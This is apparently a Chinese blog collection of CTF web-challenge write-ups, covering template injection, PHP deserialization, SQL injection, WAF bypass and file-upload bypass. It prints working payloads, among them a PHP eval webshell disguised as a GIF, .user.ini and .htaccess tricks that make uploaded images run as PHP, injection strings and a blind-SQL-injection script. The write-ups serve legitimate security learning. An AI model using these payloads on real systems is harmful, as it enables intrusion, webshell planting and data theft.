护网杯 2018-WEB-easy_tornado 1

直接百度tornado 是一个基于python的web模板,那么肯定存在模板注入,flag.txt告诉我们flag所在文件

hints.txt告诉我们flag文件的filehash的格式

可以看到想要访问到/fllllllllllllag

就要让filehash等于md5(cookie_secret+md5(filename))

那么就要找到cookie_secret,考虑到这个题是模板注入,那么肯定存在某些对象指向全局变量或者指向cookie这个变量

通过百度,存在一个这样的对象handler.settings,通过它我们能访问到一些全局变量

我们找到了cookie_secret 然后按照hint加密即可得到payload

filename=/fllllllllllllag&filehash=40243a38051c62d9ae18aef649477b51

[RoarCTF 2019]Easy Calc1

这道题考察了php的字符串解析特性,如何利用该特性绕过waf

首先打开题目链接,发现是一个计算器,输入算式获得结果。

查看网页源码发现存在一个waf,初步判定waf过滤了字母字符等关键字,并且发现了calc.php文件。

访问calc.php,出现了源码,不难看出,waf对num进行过滤后再次对某些特定的字符进行了过滤。最后eval函数会运行我们的payload

首先便是要绕过waf,这里就涉及到了php对字符串处理的一些特性,比如这里是通过?num进行传参,服务器对num这个变量进行了waf过滤,但是当我们将

?num变为? num时,就可以绕过waf的过滤,因为此时我们实际上waf认为我们传的参数是

” num”而不是”num”,绕过了waf的检测,而php在处理” num”时又会自己吧空格给去掉,所以我们就成功绕过了waf。

现在,我们可以控制num的值了,在不使用黑名单中的字符的情况下输出flag。

首先我们通过scandir()访问calc.php目录下所有的文件

payload:? num=vardump(scandir(chr(47)))

这里的chr(47)对应字符 ‘/’ 由于 ‘/’ 字符在黑名单中,所以我们通过chr()函数来绕过

发现flag文件为f1agg

构造payload

? num=var_dump(file_get_contents(/f1agg))

将f1agg全部替换为chr()

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

get flag!

[极客大挑战 2019]PHP1

记一次PHP反序列化,这次反序列化学到了一点新的内容

首先发现网页源码,网页告诉我们有出题者吧网页给备份了,我们用dirsearch扫描了该网页的目录,扫到了存在源码备份文件

打开index.php 发现引入了class.php并且将接收的select参数反序列化

进入class.php我们发现如下代码,定义了Name类的__destruct()方法,当名为Name的类被摧毁时,检查password是否为100,username是否为admin,若是,则输出flag

思路就是我们需要序列化一个名为Name的类,并且这里面需要两个私有变量username=admin和password=100

构造:

输出为:

O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;s:3:”100″;}

这个时候需要引入一些修饰符,在反序列化中,

成员属性为public修饰的不用太多的修饰原生构造就好

而private需要加**%00Name%00**,

protected则需要使用 %00*%00username这样的方式

所以这里的构造就成了,修改2为3绕过wakeup检测

O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100″;}

get flag!

[HCTF 2018]admin1

这道题涉及到了基于flask的session伪造

打开题目,首先注册一个账号并且登录

提示我们要通过管理员登录

在这个更改密码的地方发现了hint

访问该网站我们发现了网页的源码,这是一个基于flask框架的网站。

那么如何让我们作为admin登录呢?由于flask框架是一个轻量级的web框架,对于session的存储是放在客户端的,我们能够得到session的具体值,那么只要通过session伪造,将这个session解码并且修改用户名为admin后重新加密访问该网站就可以以admin的身份登陆了。

这里用到一个工具:

1
2
flask-session-cookie-manager
解码session需要一个key,在源码中我发现key的值为ckj123

白色部分为我们解码的session,我们复制下来后将’name’的值更改为admin,重新用脚本加密

获得新的session

成功成为admin 获得flag

[极客大挑战 2019]Upload1

题目考点:文件上传过滤绕过

首先题目让我们上传图片,我真的就穿了个图片过去,发现不能上传png,jpg格式都不能上传,很奇怪。

然后我将我的一句话上传,显示错误,识别是php

然后使用phtml后缀上传发现过滤了?>,所以使用新的写法写一个图片马

1
GIF98a<script language="php">@eval($_POST['Mengda']);</script>

这样即绕过文件头检测也可以绕过?>过滤

传马 getflag

[SUCTF 2019]CheckIn1

题目考点 .user.ini动态配置文件的使用,exif_imagetype()函数的绕过

查看源码后发现该题使用的是exif_imagetype()函数检测文件类型,exif_imagetype()是通过检查文件头来检测上传文件的类型,所以我们通过过伪造文件头的方式制作图片马,在前面加上GIF98a,成功上传。

上传成功后回显

返回我们的文件上传到了uploads/巴拉巴拉巴拉这个目录下,我们发现这个目录下有个index.php ???? 为什么这里会出现index.PHP? 联想到图片马需要文件包含漏洞才可以被执行,那么肯定需要某种办法让index.php包含这个图片马或者让php自动包含这个图片马。怎样才能做到呢?这里就需要引入新的一个知识点

.user.ini配置文件,这个是一个动态配置文件,访问时生效。而这个配置文件中可以添加一条属性

1
auto_prepend_file=php.jpg

表明我们运行此文件夹下的php文件时会自动包含php.jpg,这不就可以触发我们的图片马了吗,上传 链接,访问index.php

getflag!

[ZJCTF 2019]NiZhuanSiWei1

本题考点。data://伪协议,php://filter伪协议,php反序列化

打开题目是经典的给源码题

分析一下逻辑吧,三个参数text,file,password。首先进行判断test内容是否为指定文本,然后检测file中是否含有flag字符串,然后包含文件file,这里注释告诉我们需要包含useless.php。最后将password进行反序列化后输出。

看到这里,将一个反序列化对象进行输出,我们就可以猜测到useless.php肯定是修改了__Tostring魔术方法。

看到file_get_contens,include之类的函数,首先就想到php伪协议这里需要进行判断文件内容,那我们使用data://绕过第一个判断

1
?test=data://text/plain,welcome the zjctf

然后我们通过文件包含漏洞通过php:filter读取useless.php的源码

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

把源码通过base64输出后解码发现

php反序列化,本地反序列化

反序列化结果

1
O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
1
payload:http://43116097-03b5-4007-aa37-e2aed848730d.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

[网鼎杯 2018]Fakebook1

本题考点。本题考点:SSRF,SQL注入,sql反序列化。

进入题目环境,进行信息收集。首先访问robots.txt

源码泄露,打开源码后如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

源码审计后发现get()函数使用了curl函数,可能存在ssrf攻击。

curl函数,是通过服务器获取目标url地址内容的一种方法,这里是通过服务器访问,正好满足ssrf的条件,利用这里的漏洞就可以构造get函数的url,达到访问服务器内部资源的目的。

但是这里面的isValidBlog函数进行了过滤,导致我们无法构造类似于file:///var/www/html/xxx之类的payload。至此,源码分析结束。

打开网站,查看了login,join,主页面的源码后没有发现什么有用的信息。

进入join,添加信息

在blog一栏我输的是百度的地址,添加成功后我们点进去看看,可以发现刚刚我们进行源码审计的时候,curl函数发挥了作用,目标url已经成功访问。

接下来寻找新的攻击入口,注意到地址栏存在get传参,考虑sql注入,引号出现了报错,存在注入。

尝试测试回显

使用联合查询发现union select 被过滤了

1
使用/**/或者union all select绕过,这里我使用/**/绕过

回显为2

接下来爆表爆字段就好,这里不过多讲述。最后发现在users表的data字段保存着一段序列化过后的信息。

接着将序列化数据修改后通过sql语句注入,这里的flag.php是扫描到的。

注意,这里如果你是直接修改sql注出来的data,记得修改url前面的长度数据,不然会导致报错。注入顺序也要在第4位,至于为什么,猜测可能是4号位的回显对应执行序列化操作。

注入成功后在源码中发现flag,base64解密即可。

[CISCN2019 华北赛区 Day2Web1]Hack World1

本题考点:bool盲注。

今天研究了一下午这道题,也是我的第一道bool盲注类型的题目。之前很少有刷sql注入类型的题,有也是非常简单的报错注入,数字型注入,和一些简单的绕过,这次通过这道题对sql注入的理解深刻了那么一丢丢。

首先拿到题目,告诉我们flag就在flag表当中的flag字段里面,现在回想起来看到这应该就意识到不是一般的报错,字符,数字型注入了。

经过我的测试,输入数据1,2都会有回显,输入(union)提示sql注入检测,用我的字典跑一下。发现ascii(substr())没有被过滤,那么直接通过bool盲注脚本即可跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
def boolblind():
pd = 1
flag = ''
url = "http://eb79ed3f-2f14-4d1c-9c24-20fad4cbe417.node3.buuoj.cn/index.php"
for i in range(1,50):#flag的长度,假设flag长度不超过50
if pd == 1:
max = 127
min = 0
for c in range(0,127):
half = (int)((max + min) / 2)
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))'+'>'+str(half)+')'
r = requests.post(url,data={'id':payload})
time.sleep(0.001)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = half
else:
min = half
if ((max - min) <= 1):
if max != 1:
flag = flag + chr(max)
else:
pd = 0
break
print(flag)
break

if __name__=='__main__':
boolblind()

[极客大挑战 2019]HardSQL1

考点:sql报错注入,空格绕过

fuzz后发现过滤了空格,union等字符串,尝试/**/绕过空格失败,尝试堆叠注入失败,想到了报错注入updatexml()

没什么好讲的了,构造payload,爆库爆表爆字段

1
2
3
爆库admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
爆表dmin’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
爆字段admin’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23

这里值得注意的是爆字段只出来了一般的flag,需要用到right()函数输出flag后半部分字段,拼接获得flag!

[GXYCTF2019]BabySQli1

考点:username,password分别验证,联合查询不存在数据会自动创造。

admin登录显示密码错误,证明有admin这个用户存在。

联合查询发现有3个字段

这个题有一行base32加密,解密后是一段base64,在解密后变成了一段代码

1
select * from user where username = '$name'

通过wp了解到,这个题是先查询username查到user后在查询user对应的md5密码,将对应的md5密码和传入的pw参数md5加密后进行比对

我构造

name=1′ union select 1,’admin’,3&pw=123

不会报错,sql首先查询name为1的字段,没有查找到,但是返回了select的数据,经测试只有第二个字段数据为admin的时候才不会报错,那么可以判断2号字段对应用户名字段,猜测3号为密码md5字段。

这里有一个特性,在执行联合查询的时候,如果联合查询前面的数据不存在,那么就会往数据库插入对应字段的数据。

比如说 我构造的payload

name=1′ union select 1,’admin’,3&pw=123

1查询不存在,union select会往对应的user字段插入admin,password字段插入3

那么现在我只需要在3号字段传入123的md5,并且用户名为admin,那么就可以使用admin/123进行登陆了

get flag!

[网鼎杯 2020 青龙组]AreUSerialz1

考点:php反序列化,弱相等。

拿到这道题目直接高亮了源代码,我们进行一波审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

很明显需要我们传入序列化对象给str变量,我们传入的序列化字符串经过is_valid函数后便会被实例化,当他被销毁时即调用__destruct进入process,首先检测op===’2’注意这里是===全等于,我们在序列化的时候将op=2即可绕过,因为他不是字符串类型。接着绕过isvalid,ascall码要在35到125之间,protect序列化后会出现%00这样的参数,但是在PHP7.1以上对序列化字符串属性检测并不严格,所以直接使用public就可以绕过了,至于flag.php,根据经验我直接访问确实有这个文件,所以就知道了。

构造payload:O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:5:”hello”;}

get flag!

[GYCTF2020]Blacklist1

考点,堆叠注入,handler语句

首先堆叠注入查询发现了flag所在的表,题目过滤了很多关键字,但是发现可以堆叠注入,通过查询mysql手册发现hander命令,handler命令可以做到访问表。handler命令语法如下:

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

payload:1′;handler FlagHere open;handler FlagHere read first%23

get flag!

[RoarCTF 2019]Easy Java1

考点:Javaweb中的WEB-INF目录下的泄露

打开题目,随便试了下弱口令登录,无果。

点击help,发现filename后面跟的文件名,而并不会打开这个文件而是把文件名显示出来了

抓包,尝试更换请求方式,请求成功并且得到了数据,证明通过post方法可以进行文件访问。

在JAVAWEB中,WEB-INF路径是web应用的安全目录,客户端无法访问,只有服务端才能够访问。这里面的常见文件类型如下

/WEB-INF/web.xml Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/ 包含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中。

/WEB-INF/lib/ 存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。

/WEB-INF/src/ 源码目录,按照包名结构放置各个Java文件。

/WEB-INF/database.properties 数据库配置文件

/WEB-INF/tags/ 存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix=”tags” tagdir=”/WEB-INF /simpleTags” % >。

/WEB-INF/jsp/ jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。

/WEB-INF/jsp2/ 与 jsp 文件目录相比,该目录下主要存放 Jsp 2.0 以下版本的文件,当然,它也是可以任意命名的,同样为区别 Jsp 1.2以下版本的文件目录,通常才命名为 jsp2。

META-INF 相当于一个信息包,目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务manifest.mf文件,在用jar打包时自动生成。

转载至https://www.anquanke.com/post/id/205215#h2-0

我们访问WEB-INF/web.xml看一下web应用配置规则

注意servlet-class标签,该标签内容为com.wm.ctf.FlagController

这个标签记录了/WEB-INF/classes/的类,也就是说,这个标签对应的内容是在/WEB-INF/classes/中的,那么这里对应的flag就在

WEB-INF/classes/con/wm/ctf/FlagController.class(注意,文件后缀加上.class)

访问,发现一段base64,解密后获得flag

1
flag{32d00317-9ae9-4aec-8fec-5fd179076b72}

[MRCTF2020]你传你🐎呢

考点: .htaccess配置文件,图片马

尝试上传图片,给出路径

尝试phtml,php等后缀的文件上传被拦截

图片马需要将图片作为php解析,可以使用文件包含或者配置文件更改解析规则。这里没有文件包含,但是可以上传配置文件。

我们上传.htaccess内容为

AddType application/x-httpd-php .jpg

将所有.jpg文件当成php代码解析

上传.htaccess文件将

Content-Type: application/octet-stream改为Content-Type: image/jpg

蚁剑链接Getflag!